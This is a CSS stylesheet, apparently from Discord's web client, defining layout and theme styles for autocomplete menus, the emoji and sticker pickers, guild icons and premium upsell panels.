.autocompleteRowVertical-q1K4ky { }

.autocompleteRowHorizontal-32jwnH { padding: 0px; }

.autocompleteRowContent-1AMstF { -webkit-box-align: center; align-items: center; color: var(--interactive-normal); display: flex; min-height: 16px; }

.autocompleteRowContentPrimary-238PvP { -webkit-box-flex: 1; flex: 1 1 auto; }

.autocompleteRowIcon-2VJmzt { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.autocompleteRowSubheading-WqMMIl { margin-top: 2px; }

.autocompleteRowContentSecondary-1tgI-F { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 16px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.base-1pYU8j { border-radius: 3px; padding: 8px; }

.selectable-3dP3y- { cursor: pointer; }

.dividerContainer-3Gjj3b .base-1pYU8j { padding-bottom: 0px; padding-top: 0px; }

.divider-23swzi { padding: 8px; }

.divider-23swzi::after { background-color: var(--background-modifier-accent); content: ""; display: block; height: 1px; width: 100%; }

.contentTitle-2tG_sM { color: var(--interactive-normal); text-transform: uppercase; padding: 4px 0px; }

.contentTitle-2tG_sM strong { text-transform: none; }

.icon-3ZzoN7 { color: var(--interactive-normal); width: 16px; height: 16px; object-fit: contain; }

.iconForeground-1w5n7R { fill: var(--interactive-normal); }

.emojiImage-1_XFkC { object-fit: contain; width: 20px; height: 20px; }

.emojiRaw-3DHlrS { display: block; font-size: 20px; }

.descriptionDiscriminator-3vUOCc { opacity: 0.6; }

.autocompleteRowVerticalSmall-1bvn6e .base-1pYU8j { padding: 4px 8px; }

.theme-light .autocomplete-1vrmpx { background-color: rgb(248, 249, 249); }

.theme-light .selected-1Tbx07 { background-color: rgb(220, 221, 222); }

.theme-light .contentTitle-2tG_sM strong { color: rgb(79, 84, 92); }

.theme-dark .autocomplete-1vrmpx { background-color: rgb(47, 49, 54); }

.theme-dark .selected-1Tbx07 { background-color: rgb(54, 57, 63); }

.theme-dark .contentTitle-2tG_sM strong { color: rgb(255, 255, 255); }

.autocompletePlaceholder-2hIo_y { margin-top: 8px; height: 16px; border-radius: 16px; background: var(--background-primary); }

.option-1B5ZV8 { display: block; border-radius: 4px; padding: 0px 4px; font-weight: 400; }

.theme-light .option-1B5ZV8 { background-color: rgb(199, 204, 209); }

.theme-dark .option-1B5ZV8 { background-color: rgb(24, 25, 28); }

.inline-3vqbcF { margin-right: 4px; padding-bottom: 1px; }

.set-2Zx-DA { opacity: 0.5; }

.error-1NcCbc { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.active-2awTSY { color: rgb(255, 255, 255); background-color: var(--brand-experiment) !important; }

.clickable-198KJD { cursor: pointer; }

.wrapper-2IKwZK { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; height: 40px; }

.image-2oOaF4 { place-self: flex-start; margin-top: 4px; margin-right: 16px; flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; }

.infoWrapper-3ekLP_ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; overflow: hidden; -webkit-box-flex: 1; flex-grow: 1; }

.source-3DBj4z { margin-left: 16px; overflow: hidden; text-overflow: ellipsis; max-width: 33%; -webkit-box-flex: 0; flex-grow: 0; flex-shrink: 0; }

.usageWrapper-UN_ki6 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.description-QP9Ktn { margin-top: 4px; white-space: nowrap; }

.description-QP9Ktn, .title-38hYfV { overflow: hidden; text-overflow: ellipsis; }

.title-38hYfV { font-weight: 500; flex-shrink: 0; }

.option-2lkyZ_ { margin-left: 8px; }

.error-2_oAXi { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.optionalHeader-mLQoIx { text-transform: uppercase; color: var(--text-muted); }

.optionalCount-2EKzJp, .optionalHeader-mLQoIx { padding-left: 8px; }

.disabled-2hyQpT { opacity: 0.3; }

.optionals-yC7FfY { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-align: center; align-items: center; border-left: 1px solid var(--background-modifier-accent); margin-left: 8px; }

.optionalNames-3ce8hg, .optionals-yC7FfY { display: flex; -webkit-box-direction: normal; }

.optionalNames-3ce8hg { -webkit-box-orient: vertical; flex-direction: column; }

.upsell-3e4pPH { margin-top: -4px; margin-bottom: -4px; }

.emojis-_Nl1cp { display: flex; }

.emojiMask-ezvvQD { left: 4px; position: relative; }

.emojiBackground-2vOvXo { background-color: var(--background-tertiary); border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 24px; width: 24px; }

.emoji-1KOonD { height: 16px; width: 16px; }

.wrapper-2Gsate { background-color: var(--background-tertiary); position: relative; }

.list-donH_Z { position: absolute; inset: 0px; }

.wrapper-uf3cnO { background-color: var(--background-tertiary); width: 56px; padding-bottom: 8px; margin-bottom: -16px; }

.list-A0BHjR { height: 100%; }

.section-Kprrfe { cursor: pointer; border-radius: 4px; margin-bottom: 8px; }

.section-Kprrfe:last-child { margin-bottom: 0px; }

.builtInSeparator-1ku6s5 { margin: 8px 0px; border-top: none; border-right: none; border-left: none; border-image: initial; border-bottom: 1px solid var(--background-modifier-accent); }

.wrapper-VQ4BER { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; height: 40px; padding: 8px; }

.infoWrapper-1Sn7AX { -webkit-box-orient: vertical; flex-direction: column; overflow: hidden; }

.infoWrapper-1Sn7AX, .usageWrapper-3ZU-NG { display: flex; -webkit-box-direction: normal; -webkit-box-flex: 1; flex-grow: 1; }

.usageWrapper-3ZU-NG { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-align: center; align-items: center; height: 16px; border-radius: 16px; background: var(--background-accent); }

.image-7ErNqd { width: 32px; height: 32px; border-radius: 50%; flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; place-self: flex-start; margin-top: 4px; margin-right: 16px; background: var(--background-primary); }

.description-1dU8lv { margin-top: 8px; }

.description-1dU8lv, .source-10b1ZU { height: 16px; border-radius: 16px; background: var(--background-primary); }

.source-10b1ZU { margin-left: 16px; flex-shrink: 0; }

.outerWrapper-3-llkA { border-radius: 5px; box-shadow: var(--elevation-stroke),var(--elevation-high); position: absolute; left: 0px; right: 0px; bottom: calc(100% + 8px); overflow: hidden; }

.wrapper-1CvDB0 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; height: 420px; padding-bottom: 0px; }

.list-17lzo8 { height: 100%; }

.rail-2CbP6L { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; align-self: stretch; }

.content-kh0LTw { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; }

.categoryHeader-O1zU94 { position: sticky; top: 0px; padding: 0px 8px; background-color: rgb(47, 49, 54); }

.categorySection-231RiR { margin-bottom: 16px; }

.categorySectionLast-2PPrHj { margin-bottom: 0px; }

.itemWrapper-14KrHY { padding: 0px; }

.theme-light .categoryHeader-O1zU94 { background-color: rgb(248, 249, 249); }

.noAutocompleteResults-TLdu4s { height: 200px; }

.stickersHeaderWithEmojiResults-31W8SI { padding-top: 0px; }

.emojiStickersDivider-1274av { padding-bottom: 0px !important; }

.spinner-1n7zxB { padding-top: 8px; }

.horizontalAutocompletes-1Ql0gu { margin-bottom: -4px; padding: 0px 8px; overflow-x: auto; }

.horizontalAutocomplete-1zLc2s { margin-bottom: 4px; }

.autocomplete-OOX59Q { border-radius: 5px; box-shadow: var(--elevation-stroke),var(--elevation-high); overflow: hidden; }

.autocompleteAttached-2QfAgp { position: absolute; left: 0px; right: 0px; bottom: calc(100% + 8px); }

.autocompletePopout-3RFUaB { min-width: 430px; max-width: 800px; pointer-events: all; }

.autocompleteInner-2mQ2AK { padding-bottom: 0px; }

.scroller-lynW5A { padding-bottom: 8px; }

.stickerAutoComplete-8m0OB5 { display: grid; grid-template-columns: repeat(auto-fill, 116px); grid-template-rows: repeat(auto-fill, 116px); gap: 8px; padding: 8px 16px; }

.sticker-r2nFri { margin-top: 2px; margin-left: 2px; }

.container-23E4rK { display: flex; -webkit-box-align: center; align-items: center; }

.icon-1tDorc { -webkit-box-flex: 0; flex: 0 0 auto; color: var(--text-muted); width: 20px; height: 20px; margin-right: 8px; }

.size24-1HlGux .avatarContainer-3CQrif { width: 24px; height: 24px; }

.size24-1HlGux .avatarContainerMasked-PIJ-3L { margin-right: -4px; width: 24px; height: 24px; }

.size24-1HlGux .clickableAvatar-1wQpeh, .size24-1HlGux .emptyUser-7txhlW { width: 24px; height: 24px; }

.size16-NOVQSt .avatarContainer-3CQrif { width: 16px; height: 16px; }

.size16-NOVQSt .avatarContainerMasked-PIJ-3L { margin-right: -3px; width: 16px; height: 16px; }

.size16-NOVQSt .clickableAvatar-1wQpeh, .size16-NOVQSt .emptyUser-7txhlW { width: 16px; height: 16px; }

.clickableAvatar-1wQpeh { border-radius: 50%; cursor: pointer; }

.emptyUser-7txhlW { border-radius: 50%; background: var(--background-accent); }

.avatar-3bWpYy { width: 100%; height: 100%; border-radius: 50%; }

.moreUsers-7v8yWY { box-sizing: border-box; background-color: var(--background-tertiary); font-weight: 500; color: var(--text-normal); }

.size24-1HlGux .moreUsers-7v8yWY { font-size: 12px; line-height: 24px; text-align: center; height: 24px; min-width: 24px; border-radius: 12px; padding: 0px 8px; }

.size16-NOVQSt .moreUsers-7v8yWY { font-size: 10px; line-height: 16px; text-align: center; height: 16px; min-width: 16px; border-radius: 8px; padding: 0px 4px; }

.row-1c01mR { display: flex; -webkit-box-align: center; align-items: center; }

.row-1c01mR + .row-1c01mR { margin-top: 8px; }

.rowGuildName-2wU3B_ { -webkit-box-align: start; align-items: flex-start; }

.rowIcon-1VZqx4 { flex-shrink: 0; margin-right: 8px; }

.activityIcon-E-aeJm { width: 20px; height: 20px; }

.stageListenerPill-1RXT2G { margin-left: 8px; padding: 0px 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 12px; height: 24px; }

.stageListenerCount-2tWHfF { margin-left: 4px; font-weight: 500; }

.guildNameText-3Zwx4p { overflow-wrap: break-word; color: var(--text-normal); min-width: 0px; }

.viewAsRolesWarning-20LpeB { margin: 8px 0px 4px; font-weight: 400; }

.guildNameTextLimitedSize-1C5cx8 { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }

.theme-dark .activityIcon-E-aeJm, .theme-light .activityIcon-E-aeJm { color: rgb(185, 187, 190); }

.muteText-gutGxh { font-weight: 500; }

.muteTextWithActivity-3B8C-B { margin-top: 8px; }

.navigationIcon-s9Gll9 { display: block; width: 48px; height: 48px; }

.badgeIcon-1pLGKQ { width: 12px; height: 12px; }

.guildSeparator-EOYZLM { height: 2px; width: 32px; border-radius: 1px; background-color: var(--background-modifier-accent); }

.guildsError-11GiUv { width: 48px; height: 48px; border-radius: 50%; padding: 0px; font-size: 20px; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-primary); color: var(--text-normal); border: 2px solid hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); transition: background-color 0.15s ease-out 0s; }

.errorInner-21ZWo7 { font-weight: 700; }

.guildsError-11GiUv:hover { text-decoration: none; color: rgb(255, 255, 255); border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.circleButtonBase-33sh5_ { cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; width: 48px; height: 48px; transition: color 0.15s ease-out 0s, background-color 0.15s ease-out 0s; }

.circleIconButton-1XqULR { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-color: var(--background-primary); }

.circleIconButton-1XqULR.selected-2jcQaY { color: rgb(255, 255, 255); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.nitroUpsell-1OZEk7 { background: linear-gradient(135deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); color: rgb(255, 255, 255); }

.nitroUpsellIcon-1DE5mg { }

.circleIcon-3EEvbO { width: 24px; height: 24px; }

.plus-IRWp7Z { position: relative; top: -1px; font-size: 40px; line-height: 40px; font-weight: 300; }

.createJoinContainer-2_PFvW { position: relative; width: 50px; }

.pill-2IYbPt { position: absolute; left: 0px; top: 0px; }

.listItem-1hlISG { position: relative; margin: 0px 0px 8px; display: flex; -webkit-box-pack: center; justify-content: center; width: 72px; }

.listItemWrapper-t7zeg3:active { transform: translateY(1px) translateZ(0px); }

.listItemTooltip-zWFTMS { max-width: 196px; font-size: 16px; line-height: 20px; font-weight: 600; overflow-wrap: break-word; }

.placeholderMask-2k7m_e { display: block; }

.dragInner-37Nf0z { width: 48px; height: 48px; }

.iconBadge-1N56q1 { background-color: var(--background-accent); }

.iconBadge-1N56q1.participating-1P_Z3z { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.unavailableBadge-205Nq8 { background-color: rgb(255, 255, 255); color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) !important; }

.dragInner-37Nf0z { background-color: var(--background-primary); }

.tutorialContainer-32VdNI { position: relative; }

.theme-dark .listItemTooltip-zWFTMS, .theme-light .listItemTooltip-zWFTMS { color: var(--text-normal); }

.upsellTooltip-bSzvnu { display: flex; }

.upsellIcon-3c22E- { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; margin-left: -6px; }

.upsellText-3Pjb7o { -webkit-box-flex: 1; flex: 1 1 auto; line-height: 22px; }

.guildIcon-3h-1IH { -webkit-box-align: center; align-items: center; background-color: var(--background-primary); color: var(--text-normal); display: flex; height: 100%; -webkit-box-pack: center; justify-content: center; width: 100%; }

.mask-2hO5M8 { display: block; }

.guildAcronym-3B7DuT { font-size: 12px; overflow: hidden; text-overflow: ellipsis; }

.guildIconWithoutImage-2JZx6N { background-color: var(--background-primary); }

.categoryItem-1D0nxC { cursor: pointer; }

.categoryItemGuildCategory-3MisqI { height: 32px; margin-bottom: 8px; width: 32px; }

.categoryItemDefaultCategory-aBZ6nJ { border-radius: 4px; height: 24px; margin-bottom: 2px; padding: 4px; transition: background-color 0.1s ease-in-out 0s; width: 24px; }

.categoryItemDefaultCategory-aBZ6nJ:last-child { margin-bottom: 0px; }

.categoryItemDefaultCategory-aBZ6nJ:hover { background-color: var(--background-modifier-hover); }

.categoryItemDefaultCategory-aBZ6nJ:hover .categoryIcon-1SvUHG { color: var(--interactive-hover); }

.categoryItemRecentEmoji-IRN6zY { margin-bottom: 8px; }

.categoryItemDefaultCategorySelected-_HCKoz, .categoryItemDefaultCategorySelected-_HCKoz:hover { background-color: var(--background-primary); }

.categoryItemDefaultCategorySelected-_HCKoz .categoryIcon-1SvUHG, .categoryItemDefaultCategorySelected-_HCKoz:hover .categoryIcon-1SvUHG { color: var(--interactive-active); }

.categoryIcon-1SvUHG { color: var(--interactive-normal); }

.guildCategorySeparator-_An-MP { margin: 12px 0px; border-top: none; border-right: none; border-left: none; border-image: initial; border-bottom: 1px solid var(--background-modifier-accent); }

.theme-light .categoryItemDefaultCategorySelected-_HCKoz .categoryIcon-1SvUHG, .theme-light .categoryItemDefaultCategorySelected-_HCKoz:hover .categoryIcon-1SvUHG { color: rgb(79, 86, 96); }

.unicodeShortcut-15J8Ck { -webkit-box-align: center; align-items: center; background: inherit; color: var(--interactive-normal); cursor: pointer; bottom: 0px; display: flex; height: 48px; -webkit-box-pack: center; justify-content: center; left: 0px; opacity: 1; position: absolute; transition: opacity 0.1s ease 0s, transform 0.1s ease 0s, -webkit-transform 0.1s ease 0s; width: 100%; }

.unicodeShortcut-15J8Ck:hover { color: var(--interactive-hover); }

.unicodeShortcutInvisible-2TqXrS { opacity: 0; transform: translateY(48px); }

.hideUnicodeShortcut-Sl4Qnw { display: none; }

.diversitySelectorButton-3IE08D { width: 24px; height: 24px; cursor: pointer; }

.diversitySelectorOptions-4YM-vX { background-color: var(--background-secondary-alt); position: absolute; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 4px; border: 1px solid var(--background-tertiary); top: 12px; right: 7px; }

.diversitySelectorOptionsInExpressionPicker-T8-itY { top: 0px; right: 11px; }

.diversityEmojiItem-L6_IXw { width: 24px; height: 24px; background-position: 50% center; background-repeat: no-repeat; background-size: contain; padding: 4px; cursor: pointer; transition: background-color 0.1s ease-in-out 0s; }

.diversityEmojiItem-L6_IXw:hover { background-color: var(--background-modifier-hover); }

.diversityEmojiItemImage-2gPNoS { width: 24px; height: 24px; }

.inspector-S2gM3e { box-sizing: border-box; height: 48px; width: 100%; padding: 0px 16px; background-color: var(--background-secondary-alt); display: flex; -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; overflow: hidden; }

.graphicPrimary-1I8l6r { height: 28px; width: 28px; }

.graphicSecondary-1zo8ze { height: 32px; margin-left: 8px; width: 32px; }

.textWrapper-2hGAqu { -webkit-box-flex: 1; flex: 1 1 0%; margin-left: 8px; overflow: hidden; }

.titlePrimary-1jHRGm { font-weight: 600; }

.titlePrimary-1jHRGm, .titleSecondary-3Dh_RZ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.titleSecondary-3Dh_RZ { color: var(--interactive-normal); }

.favorite-2Om6aP { margin-right: 3px; margin-bottom: -1px; }

.emoji-AAbs8r { height: 100%; object-fit: contain; width: 100%; }

.glyphEmoji-2Nc7lq { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: center; justify-content: center; overflow: hidden; white-space: nowrap; }

.icon-2DGUYG { transform-origin: 50% 50%; width: 100%; height: 100%; fill: var(--interactive-normal); }

.upsell-xFI_Q0 { display: flex; background-color: var(--background-tertiary); padding: 8px; border-radius: 4px; -webkit-box-align: center; align-items: center; }

.premiumIcon-tkp5dR { margin-right: 8px; height: 24px; width: 24px; }

.body-2__YKo { -webkit-box-flex: 1; flex: 1 1 0%; }

.image-1CmAz0, .imageLoading-bpSr0M { object-fit: contain; pointer-events: none; color: transparent; }

.imageLoading-bpSr0M { background-repeat: no-repeat; object-position: 100px center; }

.theme-dark .imageLoading-bpSr0M { background-image: url("https://discord.com/assets/56b42ec7fdca5d48afd672a7163b9c06.png"); }

.theme-light .imageLoading-bpSr0M { background-image: url("https://discord.com/assets/9fbc3289310d3e4e6f1bfb668f3e8c63.png"); }

.emojiSpriteImage-TcJnG8 { object-fit: contain; pointer-events: none; }

@-webkit-keyframes ripple-2PE2Cc { 
  0% { transform: scale(0.8); opacity: 1; }
  100% { transform: scale(1.6); opacity: 0; }
}

@keyframes ripple-2PE2Cc { 
  0% { transform: scale(0.8); opacity: 1; }
  100% { transform: scale(1.6); opacity: 0; }
}

.emojiListRow-m_GHp0 { display: grid; grid-auto-flow: column; }

.emojiListRowLargeSize-3QTDek { grid-template-columns: repeat(auto-fill, 56px); height: 56px; }

.emojiListRowMediumSize-M_K7-z { grid-template-columns: repeat(auto-fill, 40px); height: 40px; }

.emojiItem-14v6tW { border-radius: 4px; cursor: pointer; padding: 4px; position: relative; }

.emojiItem-14v6tW, .emojiItem-14v6tW:focus { outline: none; }

.emojiItem-14v6tW.emojiItemSelected-1aLkfV { background-color: var(--background-accent); }

.emojiItem-14v6tW::after { transition: all 0.15s ease-in-out 0s; content: ""; position: absolute; top: 0px; left: 0px; box-sizing: border-box; transform-origin: center center; opacity: 0; z-index: 5; width: 100%; height: 100%; border: 3px solid hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); border-radius: 100%; pointer-events: none; }

.emojiItem-14v6tW.showPulse-nkOA_h::after { animation: 0.25s ease-out 0s 1 normal none running ripple-2PE2Cc; }

.emojiItemLarge-sa0X3P { height: 48px; width: 48px; }

.emojiItemMedium-_WAwGB { height: 32px; width: 32px; }

.emojiItemDisabled-1FvFuF { filter: grayscale(100%); }

.icon-3lumBK { transform-origin: 50% 50%; width: 100%; height: 100%; fill: var(--interactive-normal); }

.icon-3lumBK:hover .icon-3lumBK { fill: var(--interactive-hover); }

.listWrapper-3kgtQ0 { position: absolute; inset: 0px; }

.list-6NCENv { height: 100%; }

.noSearchResultsContainer-7llQ5J { position: absolute; inset: 0px; }

.categorySection-2sgp74 { margin-bottom: 12px; }

.categorySectionCollapsed-2-lBe9, .categorySectionLast-2ToEwI { margin-bottom: 0px; }

.header-ywPcAE { position: sticky; top: 0px; }

.premiumUpsell-2vHaVa { box-sizing: border-box; height: 54px; overflow: hidden; margin-top: 16px; margin-right: 4px; }

.premiumRetentionNotice-1MsjHe { background-color: var(--background-tertiary); border-radius: 4px; display: flex; padding: 8px; margin: 8px 8px 0px; font-size: 12px; font-weight: 500; color: var(--text-normal); line-height: 16px; }

.premiumRetentionNoticeIcon-sESfky { height: 24px; margin-right: 8px; margin-top: 2px; }

.premiumRetentionNoticeClose-2zkMmj { width: 16px; height: 16px; color: var(--interactive-normal); cursor: pointer; }

.premiumRetentionNoticeClose-2zkMmj:hover { color: var(--interactive-hover); }

.premiumRetentionNoticeContent-2m003l { -webkit-box-flex: 1; flex: 1 1 auto; }

.premiumPromo-fVlLu- { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; background-color: var(--background-secondary); opacity: 0.98; z-index: 101; border-radius: 5px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.premiumPromoClose-1w65km { position: absolute; width: 40px; height: 40px; top: 10px; right: 10px; background: url("https://discord.com/assets/f815a774c2b98d3109293a4e2afb733c.svg") 50% 50% no-repeat; overflow: hidden; cursor: pointer; text-indent: -9999em; opacity: 0.6; }

.premiumPromoClose-1w65km:hover { opacity: 1; }

.premiumPromoImage-2wS9zo { display: block; margin-bottom: 15px; width: 124px; height: 96px; }

.premiumPromoTitle-2cKOQe { font-size: 18px; line-height: 24px; color: var(--header-primary); font-weight: 600; margin-bottom: 4px; }

.premiumPromoDescription-QWky-t { margin: 0px 20px 24px; font-size: 16px; line-height: 20px; text-align: center; color: var(--header-secondary); }

.wrapper-1rqM3x { position: relative; }

.emojiPicker-3PwZFl { background-color: var(--background-secondary); border-radius: 5px; box-shadow: var(--elevation-stroke),var(--elevation-high); display: grid; grid-template-columns: 48px auto; grid-template-rows: auto 1fr auto; height: 420px; overflow: hidden; width: 424px; }

.emojiPickerInExpressionPicker-3IzIcv .emojiPicker-3PwZFl { background-color: transparent; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; box-shadow: none; -webkit-box-flex: 1; flex: 1 1 auto; grid-template-rows: auto 1fr auto; height: 100%; width: auto; }

.header-8ilj5e { -webkit-box-align: center; align-items: center; display: grid; grid-area: 1 / 1 / 2 / 3; column-gap: 12px; grid-template-columns: auto 24px; box-shadow: var(--elevation-low); padding: 12px; z-index: 100; position: relative; }

.emojiPickerInExpressionPicker-3IzIcv .header-8ilj5e { padding: 0px 16px 16px; }

.searchBar-5di9mG { grid-column: 1 / 2; }

.searchBarFullRow-23_EI- { grid-column: 1 / 3; }

.diversitySelector-1v4_1A { grid-column: 2 / 3; }

.categoryList-2Kzf65 { border-radius: 0px 0px 0px 5px; position: absolute; top: 58px; bottom: 0px; left: 0px; width: 48px; overflow: hidden; }

.emojiPickerInExpressionPicker-3IzIcv .categoryList-2Kzf65 { top: 50px; }

.bodyWrapper-3G0FZZ { display: grid; grid-template-rows: auto 1fr; grid-area: 2 / 2 / 3 / 3; position: relative; }

.emojiPickerListWrapper-fz8KNK { grid-row: 2 / 2; overflow: hidden; position: relative; }

.inspector-3LQtX9 { grid-area: 3 / 2 / 4 / 3; }

.emojiButton-3uL3Aw { max-height: 50px; cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.emojiButtonHovered-1rWNal, .emojiButtonNormal-TdumYh { }

.sprite-2iCowe { background-image: url("https://discord.com/assets/15e026451fd814e2d1a13e49c8076978.png"); background-position: 50% center; background-repeat: no-repeat; width: 22px; height: 22px; display: block; }

.container-1nZlH6 { box-sizing: border-box; position: relative; border: 1px solid; cursor: pointer; border-radius: 3px; height: 40px; }

.layout-eEMo5y { position: absolute; inset: 0px; }

.base-96ewKC { font-size: 16px; line-height: 22px; background-color: transparent; padding: 10px 0px 10px 10px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; transition: color 0.15s ease 0s; }

.hiddenMessage-3287zL { z-index: 0; position: absolute; inset: 0px; }

.input-1UhAnY { position: relative; width: 100%; z-index: 1; min-width: 0px; box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 auto; border: none; color: var(--header-primary); }

.input-1UhAnY::-webkit-input-placeholder { color: var(--text-muted); }

.input-1UhAnY::placeholder { color: var(--text-muted); }

.button-3tQuzi { margin: 4px 4px 4px 0px; padding: 2px 20px; border-radius: 2px; transition: background-color 0.2s ease-in-out 0s, color 0.2s ease-in-out 0s; }

.disabled-qocNLx { opacity: 0.3; cursor: not-allowed; }

.disabled-qocNLx .button-3tQuzi { opacity: 1; }

.theme-light .container-1nZlH6 { background-color: rgba(79, 84, 92, 0.02); border-color: rgba(79, 84, 92, 0.3); }

.theme-dark .container-1nZlH6 { background-color: rgba(0, 0, 0, 0.1); border-color: rgba(0, 0, 0, 0.3); }

.modal-12IIoS { width: 600px; max-height: 100%; }

.modalHeader-2mNR1o { padding: 32px 0px 16px; }

.modalHeaderTitle-Z0-97F { margin-bottom: 8px; }

.modalClose-19kmYV { position: absolute; top: 16px; right: 16px; z-index: 1; }

.formItem-3JVqOJ { margin-bottom: 16px; }

.formItemRow-3YXrt7 { display: flex; }

.formItemRow-3YXrt7 .formItemRowChild-2CiJX7 { -webkit-box-flex: 1; flex-grow: 1; flex-basis: 100%; }

.formItemRow-3YXrt7 .formItemRowChild-2CiJX7:first-child { margin-right: 16px; }

.preview-3-zvcN { height: 214px; border-radius: 8px; border: 1px solid var(--background-modifier-accent); overflow: hidden; }

.preview-3-zvcN, .previewDark-25B6Sg, .previewLight-WgCUFa { display: flex; }

.previewDark-25B6Sg, .previewLight-WgCUFa { -webkit-box-flex: 1; flex-grow: 1; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.previewDark-25B6Sg { background: rgb(54, 57, 63); color: rgb(114, 118, 125); }

.previewLight-WgCUFa { background: rgb(255, 255, 255); color: rgb(116, 127, 141); }

.infoIcon-1SsK3R { margin-left: 4px; vertical-align: bottom; }

.fileUpload-3UbVpG { display: flex; }

.fileUploadInput-32_7I1 { cursor: default; }

.fileUploadButton-245ih7 { margin: 6px; padding: 4px 8px; }

.emojiInputContainer-2U1hDR { position: relative; }

.emojiButton-3JSdLV { height: 100%; left: 0px; margin: 0px 10px; position: absolute; top: 0px; }

.emoji-2hsoma { height: 22px; width: 22px; }

.emojiText-3SwGUS { padding-left: 42px; cursor: pointer; }

.form-TCqJDS { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; }

.modalContent-1PaZ_S { -webkit-box-flex: 1; flex: 1 1 0%; min-height: 0px; }

.modalFooter-1kBXw2 { -webkit-box-flex: 0; flex: 0 0 auto; min-height: 0px; }

.categoryList-xW5xXr { bottom: 0px; left: 0px; overflow: hidden; position: absolute; width: 48px; }

.categoryListWithoutSearch-2D0q0Q { top: 2px; }

.categoryListWithSearch-1wO0cJ { top: 50px; }

.stickerCategory-3Yz7vN { border-radius: 4px; color: var(--interactive-normal); cursor: pointer; height: 32px; margin-bottom: 8px; width: 32px; }

.premiumCategory-2Kk8IQ:hover { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.premiumCategorySelected-23oFPJ, .premiumCategorySelected-23oFPJ:hover, .stickerCategoryGenericSelected-3-isgv, .stickerCategoryGenericSelected-3-isgv:hover { background-color: var(--background-primary); }

.stickerCategoryGeneric-PwDjYP { box-sizing: border-box; padding: 4px; }

.stickerCategoryGeneric-PwDjYP:hover { background-color: var(--background-primary); }

.stickerCategoryGenericDisabled-2NyZKY { cursor: default; color: var(--interactive-muted); }

.stickerCategoryGenericDisabled-2NyZKY .stickerCategoryGenericIcon-HhYfNM { opacity: 0.6; }

.stickerCategoryGenericDisabled-2NyZKY.stickerCategory-3Yz7vN:hover { background-color: transparent; color: var(--interactive-muted); }

.stickerPackThumbnail-2yNuP6 { display: block; height: 100%; width: 100%; }

.guildCategorySeparator-3IdPnM { margin: 12px 0px; border-top: none; border-right: none; border-left: none; border-image: initial; border-bottom: 1px solid var(--background-modifier-accent); }

.standardStickerShortcut-3iRT0y { -webkit-box-align: center; align-items: center; background: inherit; color: var(--interactive-normal); cursor: pointer; bottom: 0px; display: flex; height: 48px; -webkit-box-pack: center; justify-content: center; left: 0px; opacity: 1; position: absolute; transition: opacity 0.1s ease 0s, transform 0.1s ease 0s, -webkit-transform 0.1s ease 0s; width: 100%; }

.standardStickerShortcut-3iRT0y:hover { color: var(--interactive-hover); }

.invisibleShortcut-3ZMcFJ { display: none; opacity: 0; }

.wrapper-3Qz0Jk { padding-top: 32px; }

.heroImage-ZfsNee { display: block; margin: 0px auto 24px; width: 250px; }

.closeButton-3XbOTT { position: absolute; right: 4px; top: 12px; }

.heading-2u9L55 { margin-bottom: 16px; }

